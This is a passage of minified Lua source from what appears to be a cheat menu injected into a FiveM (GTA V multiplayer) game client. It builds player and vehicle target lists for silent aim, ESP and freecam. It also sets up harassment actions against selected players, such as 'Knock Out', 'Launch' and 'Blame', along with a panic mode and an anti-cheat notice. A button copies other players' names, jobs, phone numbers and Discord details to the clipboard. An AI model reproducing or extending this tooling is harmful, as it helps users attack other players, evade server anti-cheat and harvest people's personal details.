= "playerBulkActionSelector", choices = { "Unselect All", "Select All" }, func = function() local action = menu.vars.selectors.playerBulkActionSelector or 1 if action == 1 then menu.vars.selectedPlayers = {} menu.vars.selectedPlayer = nil else menu.vars.selectedPlayers = menu.vars.selectedPlayers or {} for _, player in ipairs(players) do local playerId = GetPlayerFromServerId(player.serverId) if playerId and playerId ~= -1 and NetworkIsPlayerActive(playerId) then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 and DoesEntityExist(ped) then menu.vars.selectedPlayers[player.serverId] = { serverId = player.serverId, playerId = playerId, ped = ped } end end end if not menu.vars.selectedPlayer and players[1] then local player = players[1] local playerId = GetPlayerFromServerId(player.serverId) if playerId and playerId ~= -1 then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 and DoesEntityExist(ped) then menu.vars.selectedPlayer = { serverId = player.serverId, playerId = playerId, ped = ped } end end end end menu.logic.buildPlayerOptionsTab() end }) table.insert(listTab.options, { name = "Select Key", type = "hotkey", target = { identifier = "SILENT_AIM_SELECT", type = "button", func = "selectCrosshairTarget", name = "Select Key", keybindName = "Select Key" }, description = "Look at a player with your crosshair and press this key to select/unselect them in the online list" }) table.insert(listTab.options, { name = "Copy player info", type = "button", func = "copySelectedPlayerInfoToClipboard", description = "Copies all info-panel fields (name, job, phone, Discord, \226\128\166) to clipboard" }) table.insert(listTab.options, { name = "List", type = "separator" }) local function validateSelectedPlayer() local selectedPlayer = menu.vars.selectedPlayer if not selectedPlayer then return end local serverId = selectedPlayer.serverId if serverId and not isPlayerAvailable(serverId) then menu.logic.notifyPlayerLeftOnlineList(serverId) menu.vars.selectedPlayer = nil return end local playerId = GetPlayerFromServerId(serverId or -1) if not playerId or playerId == -1 or not NetworkIsPlayerActive(playerId) then menu.logic.notifyPlayerLeftOnlineList(serverId) menu.vars.selectedPlayer = nil return end selectedPlayer.playerId = playerId local ped = GetPlayerPed(playerId) if ped and ped ~= 0 and DoesEntityExist(ped) then selectedPlayer.ped = ped end end validateSelectedPlayer() menu.vars.selectedPlayers = menu.vars.selectedPlayers or {} for serverId, selected in pairs(menu.vars.selectedPlayers) do if not isPlayerAvailable(serverId) then menu.logic.notifyPlayerLeftOnlineList(serverId) menu.vars.selectedPlayers[serverId] = nil if menu.vars.selectedPlayer and menu.vars.selectedPlayer.serverId == serverId then menu.vars.selectedPlayer = nil end else local playerId = GetPlayerFromServerId(serverId) if not playerId or playerId == -1 or not NetworkIsPlayerActive(playerId) then menu.logic.notifyPlayerLeftOnlineList(serverId) menu.vars.selectedPlayers[serverId] = nil if menu.vars.selectedPlayer and menu.vars.selectedPlayer.serverId == serverId then menu.vars.selectedPlayer = nil end else selected.playerId = playerId local ped = GetPlayerPed(playerId) if ped and ped ~= 0 and DoesEntityExist(ped) then selected.ped = ped end end end end local function sanitizePlayerName(name, valid) if not valid then return "Invalid" end local original = tostring(name or "") local lower = string.lower(original) if lower == "left server" or string.find(lower, "left server", 1, true) then return "Invalid" end if lower == "server verlassen" or string.find(lower, "server verlassen", 1, true) then return "Invalid" end local trimmed = original.gsub(original, "^%s+", "") trimmed = trimmed.gsub(trimmed, "%s+$", "") lower = string.lower(trimmed) if lower == "**invalid**" or lower == "[invalid]" then return "Invalid" end return original end local function makePlayerToggle(targetServerId) return function() menu.vars.selectedPlayers = menu.vars.selectedPlayers or {} local selecting = menu.vars.selectedPlayers[targetServerId] == nil if selecting then local playerId = GetPlayerFromServerId(targetServerId) if playerId and playerId ~= -1 and NetworkIsPlayerActive(playerId) then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 and DoesEntityExist(ped) then menu.vars.selectedPlayers[targetServerId] = { serverId = targetServerId, playerId = playerId, ped = ped } menu.vars.selectedPlayer = { serverId = targetServerId, playerId = playerId, ped = ped } end end else menu.vars.selectedPlayers[targetServerId] = nil if menu.vars.selectedPlayer and menu.vars.selectedPlayer.serverId == targetServerId then menu.vars.selectedPlayer = nil for serverId, selected in pairs(menu.vars.selectedPlayers) do menu.vars.selectedPlayer = { serverId = serverId, playerId = selected.playerId, ped = selected.ped } break end end end menu.logic.buildPlayerOptionsTab() end end for _, player in ipairs(players) do local serverId = player.serverId local group = GetStateBagValue("player:" .. serverId, "group") if not group or #tostring(group or "") == 0 then group = GetStateBagValue("player:" .. serverId, "CORE_Group") end if menu.vars.groupOverrides[serverId] then group = menu.vars.groupOverrides[serverId] end local lowerGroup = string.lower(tostring(group or "")) local showGroupIcon = lowerGroup ~= "" and lowerGroup ~= "user" and lowerGroup ~= "users" and lowerGroup == "vanity" local icons = {} local ped = player.ped local pedExists = ped and ped ~= 0 and DoesEntityExist(ped) if pedExists then local dead = GetEntityHealth(ped) <= 0 local interior = GetInteriorFromEntity(ped) or 0 local insideInterior = interior ~= 0 if showGroupIcon then table.insert(icons, { icon = "\239\148\133", color = { 220, 60, 60, 255 } }) end if dead then table.insert(icons, { icon = "\239\156\148", color = { 231, 76, 60, 255 } }) end if insideInterior then table.insert(icons, { icon = "\239\128\149", color = { 52, 152, 219, 255 } }) end if IsPedInAnyVehicle(ped, false) then local vehicle = GetVehiclePedIsIn(ped, false) if vehicle and vehicle ~= 0 then local model = GetEntityModel(vehicle) local isDriver = GetPedInVehicleSeat(vehicle, -1) == ped local vehicleIcon if IsThisModelABoat(model) then vehicleIcon = "\239\136\154" elseif IsThisModelAHeli(model) then vehicleIcon = "\239\148\179" elseif IsThisModelABike(model) or IsThisModelABicycle(model) or IsThisModelAQuadbike(model) then vehicleIcon = "\239\136\156" else vehicleIcon = "\239\134\185" end local color = isDriver and { 231, 76, 60, 255 } or menu.drawing.colors.primary or { 255, 255, 255, 255 } table.insert(icons, { icon = vehicleIcon, color = color }) end end elseif showGroupIcon then table.insert(icons, { icon = "\239\148\133", color = { 220, 60, 60, 255 } }) end local displayName = sanitizePlayerName(player.name, pedExists) local radioChannel = menu.utils.getRemotePlayerRadioChannel(serverId) local radioSuffix = "" if radioChannel then local formattedChannel = menu.utils.formatRadioChannelForDisplay(radioChannel) if formattedChannel then radioSuffix = " | Radio " .. formattedChannel end end local label = string.format("%d - %s%s", player.serverId, displayName, radioSuffix) table.insert(listTab.options, { name = label, icons = 0 < #icons and icons or nil, iconAnchorText = label, textRightPadding = 56 + #icons * 26, type = "toggle", var = "__player_select_" .. tostring(player.serverId), func = makePlayerToggle(player.serverId), condition = function() local selected = menu.vars.selectedPlayers ~= nil and menu.vars.selectedPlayers[serverId] ~= nil menu.vars.bools["__player_select_" .. tostring(serverId)] = selected return true end }) end if #players == 0 then table.insert(listTab.options, { name = "No other players found", type = "button" }) end menu.logic.buildPlayerOptionsTab() if focusedServerId and not isPlayerAvailable(focusedServerId) then menu.logic.notifyPlayerLeftOnlineList(focusedServerId) menu.vars.onlineListFocusedServerId = nil focusedServerId = nil end if focusedServerId and menu.vars.navigationStack and 0 < #menu.vars.navigationStack then local node = menu.vars.navigationStack[#menu.vars.navigationStack] if node and node.title == "Online Options" and (node.tabIndex or 1) == 1 then menu.logic.restoreOnlineListHighlightSelection(focusedServerId) end end end menuLogic.updatePlayerList = updatePlayerList end do local function getVehicleRadarConfig() local mainTab for _, tab in ipairs(menu.config.tabs) do if tab.name == "Main" then mainTab = tab break end end if not mainTab then return nil end local vehicleOptions for _, option in ipairs(mainTab.options) do if option.name == "Vehicle Options" then vehicleOptions = option break end end if not vehicleOptions or not vehicleOptions.tabs then return nil end local spawnerTab for _, tab in ipairs(vehicleOptions.tabs) do if tab.name == "Spawner" then spawnerTab = tab break end end if not spawnerTab or not spawnerTab.options then return nil end for _, option in ipairs(spawnerTab.options) do if option.name == "Vehicle Radar" then return option end end return nil end menuLogic.getVehicleRadarConfig = getVehicleRadarConfig end do local function getVehicleRadarListTab() local config = menu.logic.getVehicleRadarConfig() if not config or not config.tabs then return nil end return config.tabs[1] end menuLogic.getVehicleRadarListTab = getVehicleRadarListTab end do local function isOnVehicleRadarList(node) if not node then local navigationStack = menu.vars.navigationStack if not navigationStack then node = navigationStack else node = navigationStack[#navigationStack] end end if not node or node.title ~= "Vehicle Radar" then return false end local activeTabs = menu.logic.getActiveTabsForNode(node) local activeTab = activeTabs and activeTabs[node.tabIndex or 1] if not activeTab then return activeTab end return activeTab.name == "List" end menuLogic.isOnVehicleRadarList = isOnVehicleRadarList end do local function refreshVehicleRadarListSelection(node, currentOption, scrollOffset) menu.logic.updateVehicleList() menu.logic.getActiveTabsForNode(node) local activeTabs = node._activeTabs local options = activeTabs and activeTabs[node.tabIndex or 1] and activeTabs[node.tabIndex or 1].options local visibleOptions = menu.logic.getVisibleOptions(options or {}) if 0 < #visibleOptions then menu.vars.currentOption = math.min(currentOption or 1, #visibleOptions) menu.vars.scrollOffset = math.min(scrollOffset or 0, math.max(0, #visibleOptions - menu.vars.maxVisibleOptions)) return end menu.vars.currentOption = 1 menu.vars.scrollOffset = 0 end menuLogic.refreshVehicleRadarListSelection = refreshVehicleRadarListSelection end do local function updateVehicleList() local listTab = menu.logic.getVehicleRadarListTab() if not listTab then return end local currentNode = menu.vars.navigationStack[#menu.vars.navigationStack] if currentNode and currentNode.title == "Vehicle Radar" then currentNode._activeTabs = nil menu.logic.getActiveTabsForNode(currentNode) end local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local vehicles = {} local foundVehicles = {} local findHandle, vehicle = FindFirstVehicle() local findActive = false if findHandle ~= -1 then findActive = true if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) and IsEntityAVehicle(vehicle) then table.insert(foundVehicles, vehicle) end local found found, vehicle = FindNextVehicle(findHandle) while found do if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) and IsEntityAVehicle(vehicle) then table.insert(foundVehicles, vehicle) end found, vehicle = FindNextVehicle(findHandle) end if findActive then EndFindVehicle(findHandle) end end for _, entity in ipairs(foundVehicles) do if DoesEntityExist(entity) and IsEntityAVehicle(entity) then local distance = #(GetEntityCoords(entity) - playerCoords) local modelHash = GetEntityModel(entity) local name = string.lower(GetDisplayNameFromVehicleModel(modelHash) or "unknown") local hasDriver = false local hasPassengers = false local driver = GetPedInVehicleSeat(entity, -1) if driver and driver ~= 0 and DoesEntityExist(driver) then hasDriver = true end local passengerCount = GetVehicleMaxNumberOfPassengers(entity) for seat = 0, passengerCount - 1 do local passenger = GetPedInVehicleSeat(entity, seat) if passenger and passenger ~= 0 and DoesEntityExist(passenger) then hasPassengers = true break end end local suffix = "" if hasDriver then suffix = " [driver]" elseif hasPassengers then suffix = " [passengers]" end name = name .. suffix local netId if NetworkGetEntityIsNetworked(entity) then netId = NetworkGetNetworkIdFromEntity(entity) else netId = entity end table.insert(vehicles, { vehicle = entity, netId = netId, name = name, distance = distance, modelHash = modelHash }) end end table.sort(vehicles, function(left, right) return left.distance < right.distance end) listTab.options = {} table.insert(listTab.options, { name = "Select All", type = "button", func = function() menu.vars.selectedVehicles = menu.vars.selectedVehicles or {} for _, entry in ipairs(vehicles) do if DoesEntityExist(entry.vehicle) then menu.vars.selectedVehicles[entry.netId] = { vehicle = entry.vehicle, netId = entry.netId, modelHash = entry.modelHash } end end if not menu.vars.selectedVehicle and 0 < #vehicles and vehicles[1] and DoesEntityExist(vehicles[1].vehicle) then menu.vars.selectedVehicle = { vehicle = vehicles[1].vehicle, netId = vehicles[1].netId, modelHash = vehicles[1].modelHash } end end }) table.insert(listTab.options, { name = "Clear Selection", type = "button", func = function() menu.vars.selectedVehicles = {} menu.vars.selectedVehicle = nil end }) table.insert(listTab.options, { name = "Draw line to selected vehicles", type = "toggle", var = "drawSelectedVehicleLine", default = true }) table.insert(listTab.options, { name = "List", type = "separator" }) if menu.vars.selectedVehicles then local staleIds = {} for netId, selected in pairs(menu.vars.selectedVehicles) do if not DoesEntityExist(selected.vehicle) then table.insert(staleIds, netId) end end for _, netId in ipairs(staleIds) do menu.vars.selectedVehicles[netId] = nil if menu.vars.selectedVehicle and menu.vars.selectedVehicle.netId == netId then menu.vars.selectedVehicle = nil end end end local function makeVehicleToggle(networkId, modelHash) return function() menu.vars.selectedVehicles = menu.vars.selectedVehicles or {} if menu.vars.selectedVehicles[networkId] == nil then local vehicle = NetworkGetEntityFromNetworkId(networkId) if not vehicle or vehicle == 0 then return end if not DoesEntityExist(vehicle) then return end menu.vars.selectedVehicles[networkId] = { vehicle = vehicle, netId = networkId, modelHash = modelHash } menu.vars.selectedVehicle = { vehicle = vehicle, netId = networkId, modelHash = modelHash } return end menu.vars.selectedVehicles[networkId] = nil if menu.vars.selectedVehicle then if menu.vars.selectedVehicle.netId ~= networkId then return end menu.vars.selectedVehicle = nil for netId, selected in pairs(menu.vars.selectedVehicles) do menu.vars.selectedVehicle = { vehicle = selected.vehicle, netId = netId, modelHash = selected.modelHash } return end end end end for _, entry in ipairs(vehicles) do local netId = entry.netId if DoesEntityExist(entry.vehicle) then local selected = menu.vars.selectedVehicles and menu.vars.selectedVehicles[netId] ~= nil local label = string.format("%s [%d] (%.1fm)", entry.name, entry.netId, entry.distance) table.insert(listTab.options, { name = label, type = "toggle", var = "__vehicle_select_" .. tostring(netId), radarPreview = true, previewModelHash = entry.modelHash, previewNetId = entry.netId, func = makeVehicleToggle(entry.netId, entry.modelHash), condition = function() local isSelected = menu.vars.selectedVehicles ~= nil and menu.vars.selectedVehicles[netId] ~= nil menu.vars.bools["__vehicle_select_" .. tostring(netId)] = isSelected return true end }) end end if #vehicles == 0 then table.insert(listTab.options, { name = "No vehicles found", type = "button" }) end end menuLogic.updateVehicleList = updateVehicleList end do local function isPlayerActionSingleTargetOnly(option) if not option or not option.name then return false end return option.name == "Blame" or option.name == "Bite Player" or option.name == "Knock Out" or option.name == "Launch" or option.name == "Map Teleport" end menuLogic.isPlayerActionSingleTargetOnly = isPlayerActionSingleTargetOnly end do local function gatherPlayerTargets(option) local targets = {} local function addTarget(targetServerId) local playerId = GetPlayerFromServerId(targetServerId) if not playerId or playerId == -1 or not NetworkIsPlayerActive(playerId) then return end local ped = GetPlayerPed(playerId) if not ped or ped == 0 or not DoesEntityExist(ped) then return end table.insert(targets, { serverId = targetServerId, playerId = playerId, ped = ped, getFreshPed = function() local freshPlayerId = GetPlayerFromServerId(targetServerId) if freshPlayerId and freshPlayerId ~= -1 and NetworkIsPlayerActive(freshPlayerId) then return GetPlayerPed(freshPlayerId) or nil end return nil end }) end if menu.logic.isPlayerActionSingleTargetOnly(option) then if menu.vars.selectedPlayer and menu.vars.selectedPlayer.serverId then addTarget(menu.vars.selectedPlayer.serverId) end return targets end local selectedPlayers = menu.vars.selectedPlayers or {} local selectedCount = 0 for _ in pairs(selectedPlayers) do selectedCount = selectedCount + 1 end if 1 <= selectedCount then for serverId in pairs(selectedPlayers) do addTarget(serverId) end if 0 < #targets then return targets end end if menu.vars.selectedPlayer and menu.vars.selectedPlayer.serverId then addTarget(menu.vars.selectedPlayer.serverId) end return targets end menuLogic.gatherPlayerTargets = gatherPlayerTargets end do local function runOverPlayerTargets(option, callback) local targets = menu.logic.gatherPlayerTargets(option) local targetCount = #targets if targetCount == 0 then menu.utils.notify("No player selected", "error", 2800) return end if targetCount == 1 then callback(targets[1]) return end Citizen.CreateThread(function() for index, target in ipairs(targets) do callback(target) if index < targetCount then Wait(250) end end end) end menuLogic.runOverPlayerTargets = runOverPlayerTargets end do local function buildPlayerOptionsTab() local mainTab for _, tab in ipairs(menu.config.tabs) do if tab.name == "Main" then mainTab = tab break end end if not mainTab then return end local onlineOptions for _, option in ipairs(mainTab.options) do if option.name == "Online Options" then onlineOptions = option break end end if not onlineOptions or not onlineOptions.tabs then return end if not menu.vars._originalPlayerTabOptions then menu.vars._originalPlayerTabOptions = {} for _, tab in ipairs(onlineOptions.tabs) do if tab.options and 0 < #tab.options then menu.vars._originalPlayerTabOptions[tab.name] = {} for _, option in ipairs(tab.options) do local copy = {} for key, value in pairs(option) do copy[key] = value end table.insert(menu.vars._originalPlayerTabOptions[tab.name], copy) end end end end local function gatherTargets(option) return menu.logic.gatherPlayerTargets(option) end local function runOverTargets(option, callback) menu.logic.runOverPlayerTargets(option, callback) end local function hasSelectedTargets() local selectedPlayers = menu.vars.selectedPlayers or {} local count = 0 for _ in pairs(selectedPlayers) do count = count + 1 end local hasPrimary = menu.vars.selectedPlayer ~= nil and menu.vars.selectedPlayer.serverId ~= nil if 0 < count then return true end return hasPrimary end local function visitSelectedPlayers(callback) for serverId, _ in pairs(selMap) do local playerId = GetPlayerFromServerId(serverId) if playerId and playerId ~= -1 and NetworkIsPlayerActive(playerId) then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 then callback({ serverId = serverId, playerId = playerId, ped = ped }) end end end end forEachSelected = visitSelectedPlayers local function getPrimaryTarget() local selectedPlayer = menu.vars.selectedPlayer if not selectedPlayer then return nil end local playerId = GetPlayerFromServerId(selectedPlayer.serverId or -1) if playerId and playerId ~= -1 and NetworkIsPlayerActive(playerId) then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 then return { serverId = selectedPlayer.serverId, playerId = playerId, ped = ped } end end return nil end local function makeButtonAction(sourceOption, functionName, wrapperKind) return function() if not functionName or type(functionName) ~= "string" then print( "^1[ERROR] Invalid function name in " .. wrapperKind .. " wrapper: " .. tostring(functionName) ) return end runOverTargets(sourceOption, function(targetInfo) local args = { targetInfo = targetInfo } if sourceOption.funcArg ~= nil then args.funcArg = sourceOption.funcArg end menu.utils.safeCallByName(functionName, args) end) end end local function makeSelectorAction(sourceOption, functionName, wrapperKind) return function() if not functionName or type(functionName) ~= "string" then print( "^1[ERROR] Invalid function name in " .. wrapperKind .. " wrapper: " .. tostring(functionName) ) return end runOverTargets(sourceOption, function(targetInfo) local selectedIndex = menu.vars.selectors[sourceOption.var] or 1 local choices = sourceOption.choices if type(choices) == "function" then choices = sourceOption.choices() or sourceOption.choices end local selectedValue = "Unknown" if choices and 0 < #choices and 1 <= selectedIndex and selectedIndex <= #choices then selectedValue = choices[selectedIndex] end menu.utils.safeCallByName(functionName, { selectedValue = selectedValue, targetInfo = targetInfo }) end) end end local function transformOriginalOption(option) if not option then return nil end if option.type == "seperator" or option.type == "separator" then return option end local transformed = {} for key, value in pairs(option) do transformed[key] = value end if transformed.type == "button" and transformed.func then if type(transformed.func) ~= "string" then return transformed end transformed.originalFunc = transformed.func transformed.func = makeButtonAction(option, transformed.originalFunc, "button") elseif transformed.type == "toggle" or transformed.type == "toggleIndiv" then transformed.targetInfo = getPrimaryTarget() elseif transformed.type == "selector" or transformed.type == "selectorToggle" then transformed.targetInfo = getPrimaryTarget() if transformed.func then if type(transformed.func) ~= "string" then return transformed end transformed.originalFunc = transformed.func transformed.func = makeSelectorAction(option, transformed.originalFunc, "selector") end elseif transformed.type == "submenu" and transformed.submenu then local submenu = transformed.submenu if type(submenu) == "function" then submenu = submenu() end if submenu then local transformedSubmenu = {} for _, childOption in ipairs(submenu) do local child = transformOriginalOption(childOption) if child then table.insert(transformedSubmenu, child) end end transformed.submenu = transformedSubmenu end end return transformed end local function applyTemplateAction(target, source) if target.type == "button" then target.originalFunc = source.func target.func = makeButtonAction(source, source.func, "button") elseif target.type == "toggle" or target.type == "toggleIndiv" then target.targetInfo = getPrimaryTarget() elseif target.type == "selector" or target.type == "selectorToggle" then target.targetInfo = getPrimaryTarget() target.originalFunc = source.func target.func = makeSelectorAction(source, source.func, "selector") end end local function buildTemplateOption(entry) local option = { name = entry.name, type = entry.type, func = entry.func, var = entry.var, runMultiple = entry.runMultiple, choices = entry.choices, description = entry.description, toggleVar = entry.toggleVar, toggleFunc = entry.toggleFunc, indivVar = entry.indivVar, defaultToggle = entry.defaultToggle } if option.description == nil or option.description == "" then if option.type == "button" or option.type == "toggle" or option.type == "toggleIndiv" or option.type == "selector" or option.type == "selectorToggle" then option.description = "Run " .. tostring(option.name) end end applyTemplateAction(option, entry) return option end for tabIndex = 2, #onlineOptions.tabs do local tab = onlineOptions.tabs[tabIndex] if not tab then break end local hasTargets = hasSelectedTargets() local originalOptions local savedOptions = menu.vars._originalPlayerTabOptions if savedOptions and savedOptions[tab.name] then originalOptions = {} for _, option in ipairs(savedOptions[tab.name]) do local copy = {} for key, value in pairs(option) do if not (type(value) == "table" and key == "submenu") then copy[key] = value end end table.insert(originalOptions, copy) end end tab.options = {} if originalOptions and 0 < #originalOptions then for _, option in ipairs(originalOptions) do if not option.condition or option.condition() then local transformed = transformOriginalOption(option) if transformed then table.insert(tab.options, transformed) end end end else local template if tab.name == "Basic" then template = menu.config.playerSubmenuTemplate elseif tab.name == "Triggers" then template = menu.config.playerTriggersTemplate or {} end if template then for _, entry in ipairs(template) do if not entry.condition or entry.condition() then if entry.type == "submenu" then local submenuOption = { name = entry.name, type = "submenu", submenu = {}, description = entry.description or "Open " .. tostring(entry.name) .. " options" } for _, childEntry in ipairs(entry.submenu) do if not childEntry.condition or childEntry.condition() then local childOption = buildTemplateOption(childEntry) if childOption then table.insert(submenuOption.submenu, childOption) end end end table.insert(tab.options, submenuOption) else table.insert(tab.options, buildTemplateOption(entry)) end end end end end if tab.name == "Triggers" and #tab.options == 0 then table.insert(tab.options, { name = "Work in progress", type = "text", disableHover = true }) end end if menu.vars.navigationStack and 0 < #menu.vars.navigationStack then local node = menu.vars.navigationStack[#menu.vars.navigationStack] if node and node.title == "Online Options" then node._activeTabs = nil end end end menuLogic.buildPlayerOptionsTab = buildPlayerOptionsTab end do local function updateAnimation() menu.logic.updateMenuVisibilityAnimation() if menu.vars.animation.active then local speedMultiplier = menu.vars.animationSpeedMultiplier or 1.0 menu.vars.animation.progress = menu.vars.animation.progress + GetFrameTime() * menu.vars.animation.speed * 1.25 * speedMultiplier if 1.0 <= menu.vars.animation.progress then menu.vars.animation.active = false menu.vars.animation.toOptions = nil menu.vars.animation.fromOptions = nil menu.vars.animation.progress = 0 end end end menuLogic.updateAnimation = updateAnimation end do local function triggerAnimation(direction, fromOptions, toOptions) menu.vars.animation.active = true menu.vars.animation.direction = direction or "in" menu.vars.animation.progress = 0 menu.vars.animation.fromOptions = fromOptions menu.vars.animation.toOptions = toOptions if menu.vars.selectionAnim then menu.vars.selectionAnim.initialized = false end end menuLogic.triggerAnimation = triggerAnimation end do local function updateMenuVisibilityAnimation() local animation = menu.vars.menuVisibilityAnim if not animation then return end local frameTime = GetFrameTime() local speed = (animation.speed or 9.0) * (menu.vars.animationSpeedMultiplier or 1.0) if animation.progress < animation.target then animation.progress = math.min(animation.target, animation.progress + frameTime * speed) elseif animation.progress > animation.target then animation.progress = math.max(animation.target, animation.progress - frameTime * speed) end if animation.closing and animation.target <= 0 and animation.progress <= 0.001 then animation.progress = 0 animation.closing = false menu.vars.visible = false end end menuLogic.updateMenuVisibilityAnimation = updateMenuVisibilityAnimation end do local function setMenuVisibleAnimated(visible, immediate) local animation = menu.vars.menuVisibilityAnim if not animation then return end if visible then menu.vars.visible = true animation.closing = false animation.target = 1 if immediate then animation.progress = 1 return end if animation.progress <= 0.01 then animation.progress = 0 end return end animation.closing = true animation.target = 0 if immediate then animation.progress = 0 animation.closing = false menu.vars.visible = false end end menuLogic.setMenuVisibleAnimated = setMenuVisibleAnimated end do local function isMenuVisuallyOpen() local animation = menu.vars.menuVisibilityAnim if not menu.vars.visible then if not animation then return animation end return 0.001 < animation.progress end if animation and animation.closing and animation.progress <= 0.01 then return false end return true end menuLogic.isMenuVisuallyOpen = isMenuVisuallyOpen end do local function needsHamInputBlock() return menu.vars.textPrompt or menu.vars.movingOverlayList or menu.vars.isBindingHotkey or menu.vars.isBindingKey or (menu.vars.colorPickerState and menu.vars.colorPickerState.active) end menuLogic.needsHamInputBlock = needsHamInputBlock end do local function isDescriptionBarBlocked(option) if menu.vars.textPrompt or menu.vars.isBindingHotkey or menu.vars.isBindingKey then return true end if menu.vars.colorPickerState and menu.vars.colorPickerState.hexInputActive then return true end if option then if option.hideDescriptionBar == true or option.func == "spawnVehicleFromCategory" then return true end if option.func == "spawnVehicle" and option.var == "vehicleSelector2" then return true end local name = tostring(option.name or "") if name == "Emote Menu" or name == "Display & Overlays" then return true end end if menu.vars.navigationStack then for _, node in ipairs(menu.vars.navigationStack) do local title = node and node.title if title == "Emote Menu" then return true end if title == "Display & Overlays" then local activeTabs = node._activeTabs local activeTab = activeTabs and activeTabs[node.tabIndex or 1] if not activeTab or activeTab.name ~= "Crosshair" then return true end end end end return false end menuLogic.isDescriptionBarBlocked = isDescriptionBarBlocked end do local function releaseMenuF11InputBlock() menu.vars._menuF11InputBlock = false if Ham.toggleInputBlock and not menu.logic.needsHamInputBlock() then Ham.toggleInputBlock(false) end end menuLogic.releaseMenuF11InputBlock = releaseMenuF11InputBlock end do local function blockMenuKeysFromGame() local freecamBlockQEMovement = menu.vars and menu.vars.bools and menu.vars.bools.freecamBlockQEMovement local allowBlocking = not menu.vars.freecamMenuActive or freecamBlockQEMovement ~= false if not menu.logic.isMenuVisuallyOpen() then return end if menu.vars.bools and menu.vars.bools.lazerEyes == true then return end if not allowBlocking then return end local controls = { 44, 38, 27, 172, 173, 174, 175, 187, 188, 189, 190 } for inputGroup = 0, 2 do for _, control in ipairs(controls) do DisableControlAction(inputGroup, control, true) end end end menuLogic.blockMenuKeysFromGame = blockMenuKeysFromGame end do local function blockMenuF11FromGame() if not menu.logic.isMenuVisuallyOpen() then if menu.vars._menuF11InputBlock then menu.logic.releaseMenuF11InputBlock() end return end local keyName = menu.vars.menuOptionBindKey or "F11" local key if menu.functions.resolveMenuNavKey then key = menu.functions.resolveMenuNavKey(keyName) end if not key and ImGuiKey then key = ImGuiKey[keyName] end if not key or not Ham.toggleInputBlock then return end if Ham.isKeyDown(key) or Ham.isKeyPressed(key) or Ham.isKeyReleased(key) then Ham.toggleInputBlock(true) menu.vars._menuF11InputBlock = true return end if menu.vars._menuF11InputBlock then menu.logic.releaseMenuF11InputBlock() end end menuLogic.blockMenuF11FromGame = blockMenuF11FromGame end do local function resetToCurrentTabRoot() menu.vars.navigationStack = {} menu.vars.selectionHistory = {} menu.vars.scrollHistory = {} menu.vars.scrollOffset = 0 menu.vars._scrollVisual = 0 local tab = menu.vars.orderedTabs[menu.vars.currentTab] table.insert(menu.vars.navigationStack, { title = tab.name, options = tab.options }) menu.vars.currentOption = menu.logic.findFirstSelectableOption(tab.options) end menuLogic.resetToCurrentTabRoot = resetToCurrentTabRoot end do local function handleKeyBinding() if menu.vars.bindCompleteTime ~= 0 and GetGameTimer() > menu.vars.bindCompleteTime then menu.vars.bindCompleteTime = 0 menu.vars.isBindingKey = false menu.vars.pendingBindKey = nil menu.vars.pendingBindKeyName = nil menu.vars.startupHudReady = true if not menu.vars.initSetupActive then menu.logic.setMenuVisibleAnimated(true) end return end if GetGameTimer() < menu.vars.bindCompleteTime then return end local excludedKeys = { [ImGuiKey.A] = true, [ImGuiKey.W] = true, [ImGuiKey.S] = true, [ImGuiKey.D] = true, [ImGuiKey.Tab] = true, [ImGuiKey.Delete] = true, [ImGuiKey.LeftShift] = true } if Ham.isKeyReleased(ImGuiKey.Enter) then local key = menu.vars.pendingBindKey or menuKeyBindings.MENU_TOGGLE local keyName = menu.vars.pendingBindKeyName or menu.vars.boundKeyName or "F5" if key then menuKeyBindings.MENU_TOGGLE = key menu.vars.boundKeyName = keyName menu.vars.hotkeyBinds.MENU_TOGGLE = keyName if menu.vars.deferredEspEnableState ~= nil then menu.vars.bools.espEnable = menu.vars.deferredEspEnableState == true menu.vars.deferredEspEnableState = nil end menu.utils.playSound("SELECT") menu.vars.pendingBindKey = nil menu.vars.pendingBindKeyName = nil menu.vars.bindCompleteTime = GetGameTimer() + 500 menu.vars.menuToggleIgnoreUntil = GetGameTimer() + 300 menu.utils.showStartupAntiCheatNotify() end return end if ImGuiKey.RightShift and Ham.isKeyReleased(ImGuiKey.RightShift) then menu.vars.pendingBindKey = ImGuiKey.RightShift menu.vars.pendingBindKeyName = "RightShift" menu.utils.playSound("NAV_UP_DOWN") return end for keyName, key in pairs(ImGuiKey) do if keyName ~= "None" and keyName ~= "NONE" and keyName ~= "LeftShift" and keyName ~= "ModShift" and key ~= ImGuiKey.Enter and key ~= ImGuiKey.Escape and Ham.isKeyReleased(key) and not excludedKeys[key] then menu.vars.pendingBindKey = key menu.vars.pendingBindKeyName = keyName if menuKeyBindings.MENU_TOGGLE and key == menuKeyBindings.MENU_TOGGLE then menu.vars.menuToggleIgnoreUntil = GetGameTimer() + 300 end menu.utils.playSound("NAV_UP_DOWN") return end end end menuLogic.handleKeyBinding = handleKeyBinding end do local function handleHotkeys() local now = GetGameTimer() if now < menu.vars.lastKeyPress then return end local function invokeAction(action, ...) if not action then return false, "nil" end if type(action) == "function" then return menu.utils.safeCall(action, ...) end return menu.utils.safeCallByName(action, ...) end for key, action in pairs(menu.vars.hotkeys) do if Ham.isKeyReleased(key) then menu.utils.playSound("SELECT") if type(action) ~= "table" then print("^1[DEBUG] Action is not a table, skipping") elseif not menu.vars.panicMode or action.identifier == "PANIC_MODE" then local function gatherTargets(option) return menu.logic.gatherPlayerTargets(option) end local function runOverTargets(option, callback) menu.logic.runOverPlayerTargets(option, callback) end local hasTargetInfo = action.targetInfo ~= nil local playerActionPath = action.identifier and ( string.find(action.identifier, "Online Options/Options/") or string.find(action.identifier, "Online Options/Player Options/") or string.find(action.identifier, "Player Options/") ) local hasSelectedPlayers = menu.vars.selectedPlayers and next(menu.vars.selectedPlayers) ~= nil local onlineAction = action.identifier and string.find(action.identifier, "Online Options") local useTargets = hasTargetInfo or playerActionPath or (not onlineAction and hasSelectedPlayers) if action.identifier == "OUTFIT_TOGGLE" then menu.utils.safeCallByName("cycleOutfitHotkey") elseif action.type == "button" and action.func then if useTargets then gatherTargets(action) runOverTargets(action, function(targetInfo) invokeAction(action.func, { targetInfo = targetInfo }) end) else invokeAction(action.func, action) end 